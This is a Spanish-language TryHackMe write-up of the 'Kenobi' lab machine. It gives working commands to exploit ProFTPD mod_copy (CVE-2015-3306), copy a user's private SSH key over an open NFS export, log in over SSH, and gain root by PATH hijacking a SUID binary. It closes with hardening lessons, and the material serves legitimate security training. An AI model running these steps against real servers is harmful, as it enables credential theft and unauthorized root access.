Volver a Writeups
TryHackMe Easy 🐧 Linux

Kenobi

La máquina corre Samba, ProFTPD 1.3.5 y NFS. El share SMB anónimo revela que se generó una clave SSH para el usuario kenobi sin passphrase. El módulo mod_copy de ProFTPD (CVE-2015-3306) permite copiar archivos sin autenticación. Combinando esto con el export NFS de /var, copiamos la clave privada SSH y nos conectamos como kenobi. La escalada de privilegios se logra abusando del binario SUID /usr/bin/menu que llama a comandos sin rutas absolutas.

Samba SMB ProFTPD mod_copy CVE-2015-3306 NFS SSH Key Theft SUID

Reconocimiento

bashnmap — puertos abiertos
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
2049/tcp open  nfs
21/tcp   open  ftp (ProFTPD 1.3.5)

Enumeración SMB — Información de Claves SSH

bashListar shares SMB
smbclient -L //10.65.135.192/ -N
# Sharename: anonymous (acceso sin autenticación)

smbclient //10.65.135.192/anonymous
smb> get log.txt

El archivo log.txt revela que se generó un par de claves SSH para el usuario kenobi guardadas en /home/kenobi/.ssh/id_rsa sin passphrase.

Enumeración NFS — Export de /var

bashnmap NFS scripts
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.65.135.192
# nfs-showmount:
#   /var *   ← cualquier host puede montarlo

Explotación — ProFTPD mod_copy (CVE-2015-3306)

ProFTPD 1.3.5 incluye el módulo mod_copy que añade los comandos SITE CPFR (Copy From) y SITE CPTO (Copy To). La vulnerabilidad es que estos comandos se ejecutan sin necesidad de autenticación.

La estrategia: copiar la clave SSH privada de kenobi a /var/tmp (que está exportado por NFS y es escribible por el proceso FTP).

bashRobo de clave SSH via mod_copy
nc 10.65.135.192 21
# 220 ProFTPD 1.3.5 Server...

SITE CPFR /home/kenobi/.ssh/id_rsa
# 350 File or directory exists, ready for destination name

SITE CPTO /var/tmp/id_rsa
# 250 Copy successful

Extracción de la Clave via NFS

bashMontar NFS y copiar la clave
sudo mkdir /mnt/kenobi_nfs
sudo mount -t nfs 10.65.135.192:/var /mnt/kenobi_nfs

cp /mnt/kenobi_nfs/tmp/id_rsa ~/kenobi/
chmod 600 ~/kenobi/id_rsa

ssh -i id_rsa kenobi@10.65.135.192
# Acceso directo sin contraseña (clave sin passphrase)

Escalada de Privilegios — SUID /usr/bin/menu

Buscamos binarios con el bit SUID:

bashBúsqueda SUID
find / -perm -u=s -type f 2>/dev/null
# /usr/bin/menu  ← binario no estándar, prometedor

Al ejecutar /usr/bin/menu vemos un menú con opciones que llaman a comandos como curl, uname sin rutas absolutas. Al igual que en Oopsie, esto permite PATH Hijacking:

bashPATH Hijacking → root
cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH

/usr/bin/menu
# Seleccionar opción que llama a curl
# > id
uid=0(root) gid=0(root) groups=0(root)

Lecciones Aprendidas

  • Los módulos FTP con comandos de copia arbitraria y sin autenticación son extremadamente peligrosos. Deshabilitar módulos no necesarios en ProFTPD.
  • Los exports NFS con el wildcard * permiten montar el sistema de archivos a cualquier host. Restringir siempre por IP.
  • Las claves SSH sin passphrase son un riesgo si el servidor tiene otras vulnerabilidades que permitan leer archivos.
  • Los binarios SUID deben usar rutas absolutas para todos sus llamados al SO.
kenobi